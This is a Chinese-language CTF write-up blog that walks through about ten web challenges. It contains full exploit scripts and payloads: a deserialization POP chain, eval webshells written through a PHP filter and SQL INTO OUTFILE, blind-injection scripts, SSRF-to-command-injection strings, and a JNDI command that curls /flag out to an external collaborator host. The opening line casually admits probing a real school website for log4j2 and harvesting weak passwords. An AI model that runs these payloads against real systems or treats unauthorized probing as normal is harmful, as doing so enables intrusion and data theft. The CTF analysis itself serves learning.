本来下午2点就该开始做的，但是下午去试学校站的log4j2了，结果这个洞没试出来拿了一些弱口令，无心插柳了属于是

string(62) "Sandbox:/var/www/html/sandbox/437a765460ed3657d5fb80d24456c9e5"<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']); // 沙盒 路径确定&已知
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))   // 禁了一些伪协议读文件的编码方式
        die('hacker');
    if(file_exists($content))
        require_once($content); // 文件包含
    file_put_contents($content,'<?php exit();'.$content);   // 死亡exit()绕过
}

一点简单分析写注释了，首先是伪协议的部分，file_put_contents()支持伪协议，而伪协议处理时要先urldecode一次，所以我们传参的时候可以再编一次码

出题人的这篇博客写的特别详细：关于file_put_contents的一些小测试

远程环境中%25被ban了，我们可以写个脚本构造别的方式的2次编码，比如%7%23->%72->r就可以了

<?php
$char = 'r'; #构造r的二次编码
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
	for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
		$aaa = '%'.$ascii1.'%'.$ascii2;
		if(urldecode(urldecode($aaa)) == $char){
			echo $char.': '.$aaa;
			echo "\n";
		}
	}
}
?>

我们选择rot13绕过

php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=Cyc1e.php

上传的内容就会到Cycle.php中，?1=system('ls');，?1=system('cat /flag_2233_elkf3ifj34ij3orf3fk4');

参考：wp

***[CISCN2019 总决赛 Day1 Web3]Flask Message Board | ssti flask-session tensorflow

flask，页面有三个输入框，还有标志性的session，Author输入框处存在SSTI，尝试获取key来伪造session

'SECRET_KEY': '1|i|I||i1ili|IlIil11lIIl|ii|1|i|l||li|lI'

这里伪造的时候要注意flask session cookie manager解密出来的时候把False的大写给去掉了，我们构造回去的时候应该用大写开头的

python3 flask_session_cookie_manager3.py encode -s '1|i|I||i1ili|IlIil11lIIl|ii|1|i|l||li|lI' -t "{'admin':True}"

到/admin处有文件上传点

看页面源码发现还有提示

下载/admin/model_download，得到这么个玩意

/admin/source_thanos可以直接访问

就他妈离谱，这个源码是随机显示一部分，但是显示位置固定，得搞个脚本做复原

import requests
url = 'http://8567734a-8c12-4f70-bfee-6f10e978f956.node3.buuoj.cn/admin/source_thanos'
r = requests.get(url)
source = r.text
for j in range(10):
    r = requests.get(url)
    for i in range(len(source)):
        if source[i].isspace():
            source = source[:i] + r.text[i] + source[i+1:]
print(source)

# coding=utf8
from flask import Flask, flash, send_file
import random
from datetime import datetime
import zipfile

# init app
app = Flask(__name__)
app.secret_key = ''.join(random.choice("il1I|") for i in range(40))
print(app.secret_key)

from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_string

from data import data

post_storage = data
site_title = "A Flask Message Board"
site_description = "Just leave what you want to say."

# %% tf/load.py
import tensorflow as tf
from tensorflow.python import pywrap_tensorflow


def init(model_path):
    '''
    This model is given by a famous hacker !
    '''
    new_sess = tf.Session()
    meta_file = model_path + ".meta"
    model = model_path
    saver = tf.train.import_meta_graph(meta_file)
    saver.restore(new_sess, model)
    return new_sess


def renew(sess, model_path):
    sess.close()
    return init(model_path)


def predict(sess, x):
    '''
    :param x: input number x
        sess: tensorflow session
    :return: b'You are: *'
    '''
    y = sess.graph.get_tensor_by_name("y:0")
    y_out = sess.run(y, {"x:0": x})
    return y_out


tf_path = "tf/detection_model/detection"
sess = init(tf_path)


# %% tf end

def check_bot(input_str):
    r = predict(sess, sum(map(ord, input_str)))
    return r if isinstance(r, str) else r.decode()


def render_template(filename, **args):
    with open(safe_join(app.template_folder, filename), encoding='utf8') as f:
        template = f.read()
    name = session.get('name', 'anonymous')[:10]
    # Someone call me to add a remembered_name function
    # But I'm just familiar with PHP !!!

    # return render_template_string(
    #     template.replace('$remembered_name', name)
    #         .replace('$site_description', site_description)
    #         .replace('$site_title', site_title), **args)
    return render_template_string(
        template.replace('$remembered_name', name), site_description=site_description, site_title=site_title, **args)


@app.route('/')
def index():
    global post_storage
    session['admin'] = session.get('admin', False)
    if len(post_storage) > 20:
        post_storage = post_storage[-20:]
    return render_template('index.html', posts=post_storage)


@app.route('/post', methods=['POST'])
def add_post():
    title = request.form.get('title', '[no title]')
    content = request.form.get('content', '[no content]')
    name = request.form.get('author', 'anonymous')[:10]
    try:
        check_result = check_bot(content)
        if not check_result.endswith('Human'):
            flash("reject because %s or hacker" % (check_result))
            return redirect('/')
        post_storage.append(
            {'title': title, 'content': content, 'author': name, 'date': datetime.now().strftime("%B %d, %Y %X")})
        session['name'] = name
    except Exception as e:
        flash('Something wrong, contact admin.')

    return redirect('/')


@app.route('/admin/model_download')
def model_download():
    '''
    Download current model.
    '''
    if session.get('admin', True):
        try:
            with zipfile.ZipFile("temp.zip", 'w') as z:
                for e in ['detection.meta', 'detection.index', 'detection.data-00000-of-00001']:
                    z.write('tf/detection_model/' + e, arcname=e)
            return send_file("temp.zip", as_attachment=True, attachment_filename='model.zip')
        except Exception as e:
            flash(str(e))
            return redirect('/admin')
    else:
        return "Not a admin **session**. <a href='/'>Back</a>"


@app.route('/admin', methods=['GET', 'POST'])
def ad in():
    global site_description, site_title, sess
    if session.get('admin', False):
        print('admin session.')
        if request.method == 'POST':
            if request.form.get('site_description'):
                site_description = request.form.get('site_description')
            if request.form.get('site_title'):
                site_title = request.form.get('site_title')
            if request.files.get('modelFile'):
                file = request.files.get('modelFile')
                # print(file, type(file))
                try:
                    z = zipfile.ZipFile(file=file)
                    for e in ['detection.meta', 'det ction.index', 'detection.data-00000-of-00001']:
                        open('tf/detection_model/' + e, 'wb').write(z.read(e))
                    sess = renew(sess, tf_path)
                    flash("Reloaded succe sfully")
                except Exception as e:
                    flash(str(e))
        return render_template('admin.html')
    else:
        return "Not a admin **session**. <a href='/'>Back</a>"


@app.route('/admin/source') # <--here ♂ boy next door
def get_source():
    return open('app.py', encoding='utf8').read()


@app.route('/admin/source_thanos')
def get_source_broken():
    '''
    Thanos is eventually resurrected,[21] and collects the Infinity Gems once again.[22]
    He uses the gems to create the Infinity Gauntlet, making himself omnipotent,
    and erases half the living things in the universe to prove his love to Death.
    '''
    t = open('app.py', encoding='utf8').read()
    tt = [t[i] for i in range(len(t))]
    ll = list(range(len(t)))
    random.shuffle(ll)
    for i in ll[:len(t) // 2]:
        if tt[i] != '\n': tt[i] = ' '
    return "".join(tt)

……tensorflow，完全不懂啊哥，你考的知识太高雅了，我俗人一个，咋就输入一个aaaaaabxCZC就有flag了啊

作者wp

[红明谷CTF 2021]EasyTP | tp3.2 反序列化 mysql伪服务端 sqli 报错注入堆叠注入脱库

tp3.2.3，有一个现成的链子：ThinkPHP v3.2.* （SQL注入&文件读取）反序列化POP链

看Application\Home\Controller\IndexController.class.php的代码也跟这个文章中的示例代码大差不差，顺着这篇文章的思路跟一下

首先是全局寻找__destruct()函数

www/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

寻找一个destroy()

www/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

这里需要一个$sessID，PHP7下不传参会报错 PHP5不影响，$this->sessionName可控；接着找含有delete()的类

www/ThinkPHP/Mode/Lite/Model.class.php

相当于传入的参数都可用，可以控制自带的数据库类的delete()方法了

www/ThinkPHP/Library/Think/Db/Driver.class.php

它是拼接了$sql语句，之后执行$this->execute()

它会预先进行$this->initConnect()

我们可以控制$config，控制连接任意数据库

这里可以结合MySQL恶意服务端读客户端文件这个洞了（题目可以参考[DDCTF 2020]mysql弱口令），利用过程就是这样：

通过某处泄露得到目标的WEB目录（如DEBUG页面
开启MySQL伪服务端，读取目标的数据库配置文件
触发反序列化
触发PDO连接部分
获取到目标的数据库配置文件

以本题为演示，使用bettercap做mysql伪服务端读一下/etc/passwd

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "",
            "hostname" => "your_vps",
            "hostport" => "port",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where  1=updatexml(1,concat(0x7e,user(),31) from test.flag),0x7e),1)#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));


$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_URL => "http://6382172d-0bab-4e87-b434-7d711efad721.node3.buuoj.cn/",
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => "",
    CURLOPT_MAXREDIRS => 10,
    CURLOPT_TIMEOUT => 3,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => "POST",
    CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
    CURLOPT_HTTPHEADER => array(
        "Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
        "cache-control: no-cache"
    ),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
    echo "cURL Error #:" . $err;
} else {
    echo $response;
}
}

看到了mysql用户，弱口令密码root

之后就可以把我们的伪服务端撤了，换成真服务端的，进行一个注入

使用目标的数据库配置再次进行反序列化
触发DELETE语句的SQL注入

$this->data[$this->pk] = array(
                // "table" => "mysql.user where  1=updatexml(1,concat(0x7e,(select left(group_concat(schema_name),31) from information_schema.SCHEMATA)),1)#",
                // "table" => "mysql.user where  1=updatexml(1,concat(0x7e,(select right(group_concat(schema_name),31) from information_schema.SCHEMATA)),1)#",
                // "table" => "mysql.user where  1=updatexml(1,concat(0x7e,(select left(group_concat(table_name),31) from information_schema.tables where table_schema='test'),0x7e),1)#",
                // "table" => "mysql.user where  1=updatexml(1,concat(0x7e,(select left(group_concat(column_name),31) from information_schema.columns where table_schema='test'),0x7e),1)#",
                // "table" => "mysql.user where  1=updatexml(1,concat(0x7e,(select left(group_concat(flag),31) from test.flag),0x7e),1)#",
                "table" => "mysql.user where  1=updatexml(1,concat(0x7e,(select right(group_concat(flag),31) from test.flag),0x7e),1)#",
                "where" => "1=1"
            );

我们还可以把堆叠打开，用堆叠注入写shell，也就是本题的exp（参考赵总的exp 赵总牛逼

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true ,   // 开启才能读取文件
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    // 打开堆叠注入
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",   // 猜出弱口令
            "password" => "root"
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array( // 堆叠注入写入shell
                "table" => "mysql.user where 1=1;select '<?php eval(\$_POST[amiz]);?>' into outfile '/var/www/html/amiz.php';#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));

    $curl = curl_init();
    curl_setopt_array($curl, array(
        CURLOPT_URL => "http://914146f1-7d08-4a0a-9659-c143df1d68e1.node4.buuoj.cn:81/",
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_ENCODING => "",
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_TIMEOUT => 3,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        CURLOPT_CUSTOMREQUEST => "POST",
        CURLOPT_POSTFIELDS => base64_encode(serialize(new Think\Image\Driver\Imagick())),
        CURLOPT_HTTPHEADER => array(
            "cache-control: no-cache"
        ),
    ));
    $response = curl_exec($curl);
    $err = curl_error($curl);
    curl_close($curl);
    if ($err) {
        echo "cURL Error #:" . $err;
    } else {
        echo $response;
    }
}

其中curl的代码是用postman生成的 ~~（postman打钱）~~一套连招直接带走，用蚁剑连接之后发现根目录下没有flag，反而是一个flag.sh

我们还得连上数据库看看

但是蚁剑自带的添加失败，直接手动写一个冰蝎的🐎

直接查看也是没有，但是可以用它的导出数据库的功能得到数据

参考：wp1 wp2

PyCalX 1&2 |

首先是1

#!/usr/bin/env python3
import cgi;
import sys
from html import escape

FLAG = open('/var/www/flag','r').read()

OK_200 = """Content-type: text/html

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<center>
<title>PyCalx</title>
<h1>PyCalx</h1>
<form>
<input class="form-control col-md-4" type=text name=value1 placeholder='Value 1 (Example: 1  abc)' autofocus/>
<input class="form-control col-md-4" type=text name=op placeholder='Operator (Example: + - * ** / // == != )' />
<input class="form-control col-md-4" type=text name=value2 placeholder='Value 2 (Example: 1  abc)' />
<input class="form-control col-md-4 btn btn-success" type=submit value=EVAL />
</form>
<a href='?source=1'>Source</a>
</center>
"""

print(OK_200)
arguments = cgi.FieldStorage()

if 'source' in arguments:
    source = arguments['source'].value
else:
    source = 0

if source == '1':
    print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')

if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:

    def get_value(val):
        val = str(val)[:64]
        if str(val).isdigit(): return int(val)
        blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
        if val == '' or [c for c in blacklist if c in val] != []:
            print('<center>Invalid value</center>')
            sys.exit(0)
        return val

    def get_op(val):
        val = str(val)[:2]
        list_ops = ['+','-','/','*','=','!']
        if val == '' or val[0] not in list_ops:
            print('<center>Invalid op</center>')
            sys.exit(0)
        return val

    op = get_op(arguments['op'].value)
    value1 = get_value(arguments['value1'].value)
    value2 = get_value(arguments['value2'].value)

    if str(value1).isdigit() ^ str(value2).isdigit():
        print('<center>Types of the values don\'t match</center>')
        sys.exit(0)

    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

    print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')
    print('>>>> print('+escape(calc_eval)+')')

    try:
        result = str(eval(calc_eval))
        if result.isdigit() or result == 'True' or result == 'False':
            print(result)
        else:
            print("Invalid") # Sorry we don't support output as a string due to security issue.
    except:
        print("Invalid")


    print('>>> </pre></div></div></div>')

是实现了一个计算器（除了数字还可以运算字符串），但是对参数的过滤上并不严谨

忘了使用get_value函数了，导致我们可以用黑名单里面的运算符的，用类似char-by-char-sqli的方式盲注出flag（因为没有回显），我们可控的变量是source（作用域是全局）

import requests
import urllib
import string
url="http://eabb9a29-a56e-461e-a0a8-7953b6c243c5.node4.buuoj.cn:81/cgi-bin/pycalx.py?source={0}&value1={1}&op={2}&value2={3}"
flag=""
source=""
value1=urllib.parse.quote("WQERGFD")
op=urllib.parse.quote("+'")
value2=urllib.parse.quote(" and FLAG>source#")
while True:
    prev = 0
    for i in range(255):

        if chr(i) in string.printable:
            source=flag+chr(prev)
            source=urllib.parse.quote(source)
            result=requests.get(url.format(source,value1,op,value2)).text
            #print(result)
            if "False" in result and "security" not in result:
                flag+=chr(prev-1)
                print(flag)
                break
            else:
                prev=i

看着跟sqli很像，是字符串进行比较，python默认比完第一位比第二位，所以不需要sqli那样指名第几位那样，注入可以普通for

import requests
from requests.api import get
from requests.utils import quote
import string

url = 'http://eabb9a29-a56e-461e-a0a8-7953b6c243c5.node4.buuoj.cn:81/cgi-bin/pycalx.py?source={0}&value1={1}&op={2}&value2={3}'
flag = ''
source = ''
value1 = quote('WQERGFD')
op = quote("+'")
value2 = quote(' and FLAG>source#')

while True:
    prev = 0
    for i in range(45):
        if chr(i) in string.printable:
            source = flag + chr(prev)
            source = quote(source)
            resp = requests.get(url.format(source, value1, value2)).text
            if 'False' in resp and 'security' not in resp:
                flag += chr(prev - 1)
                print(flag)
                break
            else:
                prev = i

也可以二分（感觉自己之前写的二分法的脚本应该解耦了，不然遇到这种情况的话需要改的地方就太多了，应该改成一些函数的集合体就像这个大佬的一样

import requests, re


def calc(v1, v2, op, s):
    u = "http://178.128.96.203/cgi-bin/server.py?"
    payload = dict(value1=v1, value2=v2, op=op, source=s)
    # print payload
    r = requests.get(u, params=payload)
    # print r.url
    res = re.findall("<pre>\n>>>>([\s\S]*)\n>>> <\/pre>",
                     r.content)[0].split('\n')[1]
    assert (res != 'Invalid')
    return res == 'True'
    # print r.content


def check(mid):
    s = flag + chr(mid)
    return calc(v1, v2, op, s)


def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None):
    assert (lo >= 0)
    if hi == None: hi = len(seq)
    while lo < hi:
        mid = (lo + hi) // 2
        # print lo, mid, hi, "\t",
        if check(seq[mid]): hi = mid
        else: lo = mid + 1
    return seq[lo]


flag = ''
v1, v2, op, s = 'x', "+FLAG<value1+source#", "+'", ''

while (1):
    flag += chr(bin_search() - 1)
    print flag

————————下面是pycalx2

把上面的op那里也加了get_value函数

不能用单引号了，这里考的地方是f-string的特性，可以直接插入运算表达式，不过要改一下脚本的思路

f"{Flag>source or 'e'}"

如果成功输出1，不成功输出e，拼接上前面的Tru，成功为Tru1，不成功为True

import requests
import urllib
import string
url="http://192.168.60.131/cgi-bin/py.py?source={0}&value1={1}&op={2}&value2={3}"
flag=""
source=""
value1=urllib.parse.quote("T")
op=urllib.parse.quote("+f")
value2=urllib.parse.quote("ru{FLAG>source or 14:x}")
while True:
    prev = 0
    for i in range(255):

        if chr(i) in string.printable:
            source=flag+chr(prev)
            source=urllib.parse.quote(source)
            result=requests.get(url.format(source,value1,op,value2)).text
            #print(result)
            if "True" in result and "security" not in result:
                flag+=chr(prev-1)
                print(flag)
                break
            else:
                prev=i

import requests, re


def calc(v1, v2, op, s):
    u = "http://206.189.223.3/cgi-bin/server.py?"
    payload = dict(value1=v1, value2=v2, op=op, source=s)
    r = requests.get(u, params=payload)
    res = re.findall("<pre>\n>>>>([\s\S]*)\n>>> <\/pre>",
                     r.content)[0].split('\n')[1]
    return res == 'Invalid'


def check(mid):
    s = flag + chr(mid)
    return calc(v1, v2, op, s)


def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None):
    assert (lo >= 0)
    if hi == None: hi = len(seq)
    while lo < hi:
        mid = (lo + hi) // 2
        if check(seq[mid]): hi = mid
        else: lo = mid + 1
    return seq[lo]


flag = ''
v1, op, v2, s = 'T', "+f", "ru{FLAG<source or 14:x}", 'a'

while (1):
    flag += chr(bin_search() - 1)
    print flag

只用把上面的payload稍微魔改一下就行，value1=T, op=+f, value2=re{Flag<source or 14:x}, source=xxxx，传参的时候不用加引号，因为它在题目中运算的时候会自己加上的

参考：wp | wp2

[SWPUCTF 2016]Web7

robots.txt的报错显示这是py2.7，并且有一个第三方库cherrypy17.4.2，首页是输入框，要求输入一个url，之后可以返回发出请求的信息，下面还有一个login输入密码登入admin，无弱口令

看源码的时候直接看到docker了，考点是cve-2016-5699和redis ssrf

#!/usr/bin/python
# coding:utf8

__author__ = 'niexinming'

import cherrypy
import urllib2
import redis

class web7:
    @cherrypy.expose
    def index(self):
        return "<script> window.location.href='/input';</script>"
    @cherrypy.expose
    def input(self,url="",submit=""):
        file=open("index.html","r").read()
        reheaders=""
        if cherrypy.request.method=="GET":
            reheaders=""
        else:
            url=cherrypy.request.params["url"]
            submit=cherrypy.request.params["submit"]
            try:
                for x in urllib2.urlopen(url).info().headers:
                    reheaders=reheaders+x+"<br>"
            except Exception,e:
                reheaders="错误"+str(e)
            for x in urllib2.urlopen(url).info().headers:
                reheaders=reheaders+x+"<br>"
        file=file.replace("<?response?>",reheaders)
        return file
    @cherrypy.expose
    def login(self,password="",submit=""):
        pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
        r = redis.Redis(connection_pool=pool)
        re=""
        file=open("login.html","r").read()
        if cherrypy.request.method=="GET":
            re=""
        else:
            password=cherrypy.request.params["password"]
            submit=cherrypy.request.params["submit"]
            if r.get("admin")==password:
                re=open("flag",'r').readline()
            else:
                re="Can't find admin:"+password+",fast fast fast....."
        file=file.replace("<?response?>",re)
        return file
cherrypy.config.update({'server.socket_host': '0.0.0.0',
                        'server.socket_port': 8080,
                       })
cherrypy.quickstart(web7(),'/')

使用的urllib2.urlopen库只支持http https ftp file这几种schema，不能用gopher，但是有个cve（和上周搞的nodejs的那个有点像），它在处理url的时候没有考虑换行符，所以我们可以在正常的http头中插入任意内容

真的跟nodejs那个很像，node那个还多一个介质（处理unicode字符时转化出问题），所以我们只要向redis中写入输入改掉admin密码就行了

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/amiz

参考：wp

[网鼎杯 2020 半决赛]BabyJS

是express框架，cookie的session字段初始是{"admin":"no"}，改为yes后还是会重定向回来；然后发现自己眼瞎没看见附件，我的；详细的路由代码在index.js，看到blacklist就有SSRF的既视感了

var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();


var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {
    res.json({});
});

router.get('/debug', function(req, res, next) {
    console.log(req.ip);
    if(blacklist.indexOf(req.ip)!=-1){	// req.ip在黑名单中
        console.log('res');
	var u=req.query.url.replace(/[\"\']/ig,'');
	console.log(url.parse(u).href);
	let log=`echo  '${url.parse(u).href}'>>/tmp/log`;
	console.log(log);
	child_process.exec(log);	// 命令执行
	res.json({data:fs.readFileSync('/tmp/log').toString()});
    }else{
        res.json({});
    }
});


router.post('/debug', function(req, res, next) {
    console.log(req.body);
    if(req.body.url !== undefined) {
        var u = req.body.url;	// POST url参数
	var urlObject=url.parse(u);	// 对url进行parse
	if(blacklist.indexOf(urlObject.hostname) == -1){	// hostname不在黑名单中
		var dest=urlObject.href;
		request(dest,(err,result,body)=>{	// 访问 目标
			res.json(body);
		})
	}
	else{
		res.json([]);
	}
	}
});

module.exports = router;

需要构造一个ssrf的url，post方式传入并且绕过ssrf的黑名单，比如

http://0177.0.0.01/		# 八进制
http://2130706433/		# 十进制

后面接上/debug?url=xxxx，post传入后调用request会到get /debug进行处理，就可以child_process_exec执行命令了

执行命令的话，因为后面它会读出/tmp/log的文件，所以我们把flag写入这个文件中，用cp /flag /tmp/log

构造payload时原代码是这样的

let log=`echo  '${url.parse(u).href}'>>/tmp/log`;

所以先要闭合echo后面的单引号，再考虑url.parse(u).href的结果，最后用#把后面多余的注释掉；然而有个正则匹配要先过滤一下单引号

var u=req.query.url.replace(/[\"\']/ig,'');

所以用二次url编码：' -> %27 -> %2527加@，让url.parse().href时让@前的部分被decodeURIComponent

payload要再编一次码

POST:
url=http://2130706433/debug?url=http://%252527@1;cp$IFS$9/flag$IFS$9/tmp/log;%25%23

flag{876797a7-fe5f-4a11-aa1f-bd0fbcb1640e}

[红明谷CTF 2021]JavaWeb

与强网拟态的Jack-Shiro等等题都是一样的考点，首先是一个/;/json绕过鉴权，之后是jndi注入，用那个jar一把梭

["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://101.35.114.107:1099/qhx0ip"}]

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl http://mg6uynla2pxa8ilgp4cprm0suj09oy.burpcollaborator.net/ -F file=@/flag" -A "101.35.114.107"

[b01lers2020]Scrambled

页面上只有一个油管视频，没有特殊的行为

抓包看到cookie，在每一次reload（在页面底部）之后都会更新

两个字段，frequency和transmissions

没明白啥意思，看wp知道这里是代表了每一位flag的值，比如上面图片里的

7-12	-> 12位是`-` 前一位是`7`
0f15	-> 15位是`f` 前一位是`0`

整个py脚本自动（参考wp

import requests
import re

url = 'http://a3197079-a7bd-4d2f-847b-bad3410130b7.node4.buuoj.cn:81/'
headers = {'Cookie': 'frequency=1; transmissions=kxkxkxkxsh7-12kxkxkxkxsh'}
flag = [0] * 50

while True:
    r = requests.session()
    cookie = r.get(url, headers=headers).headers['Set-Cookie']  # 得到下一次的cookie
    try:
        tmp = re.search(r'kxkxkxkxsh(.+)kxkxkxkxsh;', cookie).group()[10:-11]   # 匹配中间有用的部分
        flag[int(tmp[2:])] = tmp[1:2]
        flag[int(tmp[2:]) - 1] = tmp[0:1]
        for i in flag:
            print(i, end='')
        print()
    except:
        pass

flag{3e6d8ee7-40f1-40a1-b496-93c40f43c8b8}

[极客大挑战 2020]Roamphp4-Rceme

一个命令执行的页面，需要验证码，不过这个验证码是常见考点了

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value=hashlib.md5(str(x).encode(encoding='utf-8')).hexdigest()
        if md5_value[:5]==md5_val:
            return str(x)

if __name__ == '__main__':
    print(func('6e3f2'))

命令执行的部分，直接看出题人的wp吧，用的是[~(异或)][!%FF]的形式组成字符串,然后无参数RCE

这部分用的是异或构造的方式，emmm，上周说要总结的，但是没总结（我的，这周一定看

参考：官方wp | wp1

[Windows][HITCON 2019]Buggy_Net

/Default.txt给出了源码，是少见的win+asp.net

bool isBad = false;
try {
    if ( Request.Form["filename"] != null ) {   // filename参数非空
        isBad = Request.Form["filename"].Contains("..") == true;    // 如果filename中含有`..`为true
    }
} catch (Exception ex) {

}
try {
    if (!isBad) {   // isBad为false
        Response.Write(System.IO.File.ReadAllText(@"C:\inetpub\wwwroot\" + Request.Form["filename"]));  // 读出filename指定的文件
    }
} catch (Exception ex) {
}

但是当前目录在C:\inetpub\wwwroot\，需要..\进行目录穿越；这里的利用方式参考->WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour | wp，这里转述一下

对于POST请求，会存在request validation来检测form表单中含有一些危险内容（比如<x），处理的方式是中止整个app；然而对于相同的内容，在query-string fields中会通过初始的request validation，并且仅仅在首次的Request.QueryString[...]抛出异常

对于GET的query-string fileds也存在request validation，但是如果加一个form表单，就会产生和上述后半部分一样的效果

所以这里我们可以提交一个GET请求（不带有get查询参数），但是依然含有body部分并且把<x加到body中，就会使第一次的判断中进入异常部分->pass，不修改isBad的bool值，进入第二次判断后直接拼接filename，读出flag；payload

GET /
POST: filename=../../../flag.txt&amiz=<x

参考：WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour | wp

flag{e2c62455-e081-4782-8320-7c76ef570244}

*[NCTF2019]phar matches everything

给出了源码，直接github.dev看了这里是url

两个文件夹分别是两个docker（用dockerfile编排到一起了 ip不同）

osrc的有80端口暴露在外面，结合页面的交互先看osrc中的catchmine.php和upload.php

upload.php，可以上传文件

<?php


$target_dir = "uploads/";
$uploadOk = 1;

$imageFileType=substr($_FILES["fileToUpload"]["name"],strrpos($_FILES["fileToUpload"]["name"],'.')+1,strlen($_FILES["fileToUpload"]["name"]));

$file_name = md5(time());
$file_name =substr($file_name, 0, 10).".".$imageFileType;

$target_file=$target_dir.$file_name;

    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); // getimagesize检测文件类型 可触发反序列化
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }


if (file_exists($target_file)) {    // 检测同名 当然因为md5的原因也不太能同名
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
if ($_FILES["fileToUpload"]["size"] > 500000) { // 限制大小
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
if($imageFileType !== "jpg" && $imageFileType !== "png" && $imageFileType !== "gif" && $imageFileType !== "jpeg"  ) {   // 后缀白名单
    echo "Sorry, only jpg,png,gif,jpeg are allowed.";
    $uploadOk = 0;
}
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file $file_name  has been uploaded to ./uploads/";    // 回显文件路径
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

catchmine.php有个反序列化点

<?php
class Easytest{
    protected $test;    // $test = '1' 注意反序列化产生不可见字符 改成public
    public function funny_get(){
        return $this->test;
    }
}
class Main {
    public $url;
    public function curl($url){ // 实现curl操作
        $ch = curl_init();
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        $output=curl_exec($ch);
        curl_close($ch);
        return $output;
    }

	public function __destruct(){
        $this_is_a_easy_test=unserialize($_GET['careful']); // 反序列化入口 Easytest实例
        if($this_is_a_easy_test->funny_get() === '1'){
            echo $this->curl($this->url);   // 可以访问内网 进行ssrf
        }
    }
}

if(isset($_POST["submit"])) {
    $check = getimagesize($_POST['name']);  // getimagesize检测文件类型 可触发反序列化
    if($check !== false) {
